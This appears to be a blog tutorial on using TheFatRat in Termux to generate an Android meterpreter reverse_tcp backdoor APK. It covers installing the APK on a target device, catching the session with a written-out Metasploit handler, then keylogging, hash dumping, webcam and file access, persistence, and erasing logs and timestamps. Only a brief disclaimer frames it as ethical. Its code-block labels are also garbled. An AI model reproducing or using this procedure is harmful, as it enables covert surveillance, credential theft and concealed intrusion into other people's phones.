THE USE OF FAT RAT IN TERMUX

 THE USE OF FAT RAT IN TERMUX

Termux, a powerful terminal emulator for Android, opens up a world of possibilities for users who want to explore the vast capabilities of their devices. In this blog post, we'll delve into the fascinating realm of cybersecurity and learn how to use a powerful tool called "The Fat Rat" within the Termux environment. The Fat Rat is a versatile and potent tool that allows ethical hackers and security enthusiasts to generate undetectable backdoors and perform various post-exploitation tasks. So, let's dive in and discover how to harness its power!

Disclaimer:

It's crucial to emphasize that hacking and using tools like The Fat Rat should only be done ethically and legally. Always seek proper authorization and use these tools responsibly.

Prerequisites: To follow this tutorial, you'll need the following:

1. An Android device running Termux (available on the Google Play Store).
2. A stable internet connection.
3. Basic understanding of Linux commands.

4. Step 1: Installing The Fat Rat

   1. Open Termux on your Android device.
   2. Update the package lists by running the following command:

      sql
      apt update
      

   3. Install the required dependencies using the command:

      apt install git python2 python2-dev python3 perl
      

   4. Clone The Fat Rat repository by executing:

      bash
      git clone https://github.com/Screetsec/TheFatRat.git
      

   5. Change the directory to The Fat Rat:

      bash
      cd TheFatRat
      

   6. Grant executable permissions to the installer script:

      arduino
      chmod +x setup.sh
      

   7. Run the installer script to install The Fat Rat:

      arduino
      ./setup.sh
      

   Step 2: Generating a Backdoor

   1. Launch The Fat Rat by typing:

      bashe
      ./fatrat
      

   2. Choose option 1, "Create backdoor with msfvenom."
   3. Select the payload type that suits your needs (e.g., android/meterpreter/reverse_tcp).
   4. Provide the local host and port number for the listener.
   5. Choose an output format (e.g., APK for Android devices).
   6. Customize the backdoor by adding an icon or changing the default settings.
   7. Once done, the backdoor will be generated and saved in the output directory.

   Step 3: Exploiting the Target

   1. Transfer the generated backdoor to the target device using a secure method (e.g., USB, secure file sharing).
   2. On the target device, enable "Unknown Sources" in the security settings to install the APK.
   3. Install the backdoor on the target device.
   4. Launch the backdoor application, and it will establish a connection with the listener you configured earlier.
   5. You can now access the target device remotely and perform various post-exploitation tasks using Metasploit.

   6. Step 4: Remote Access with Metasploit

      1. Launch Metasploit on your Termux by running the command:

         msfconsole
         

      2. Once Metasploit starts, use the following command to set up the listener:

         bash
         use exploit/multi/handler
         set payload android/meterpreter/reverse_tcp
         set lhost [your_local_ip_address]
         set lport [your_local_port]
         exploit
         

      3. When the target executes the backdoor on their device, the connection will be established, and you will have access to their device remotely.

      Step 5: Exploring Meterpreter Commands

      1. After establishing a successful connection, you will be presented with a Meterpreter prompt.
      2. Explore various Meterpreter commands to gather information, escalate privileges, capture screenshots, access files, and perform other post-exploitation activities.
         • Use help to view a list of available commands.
         • Some useful commands include sysinfo, shell, download, upload, keyscan_start, webcam_list, screenshot, and hashdump.
         • You can also run scripts and modules within Meterpreter to automate tasks and expand your capabilities.

      Step 6: Persistence (Optional)

      1. To maintain access to the target device even after a reboot, you can create persistence using various techniques.
      2. Explore Meterpreter's persistence modules such as run persistence, run autoroute, or manually modify the system to achieve persistence.

      Step 7: Covering Tracks (Optional)

      1. It's essential to cover your tracks and remove any traces of your activities on the target device.
      2. Use Meterpreter commands like clearev, timestomp, and wipe to erase logs, modify timestamps, and delete files.

      Remember, ethical hacking should always be conducted legally and responsibly. Only perform these actions with proper authorization and for educational purposes.
